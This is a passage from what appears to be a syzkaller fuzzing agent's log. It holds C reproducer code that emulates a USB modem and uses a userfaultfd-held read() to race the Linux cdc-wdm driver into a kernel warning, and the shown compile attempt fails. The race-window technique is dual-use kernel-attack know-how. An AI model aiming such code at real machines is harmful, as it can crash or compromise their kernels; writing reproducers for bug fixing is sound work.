char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 443/5 |
2026/09/11 23:49 |
action |
compile-c-prog |
0m
Results: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor1553062142 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]
|
| 444/5 |
2026/09/11 23:49 |
action |
If |
1m
Args: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
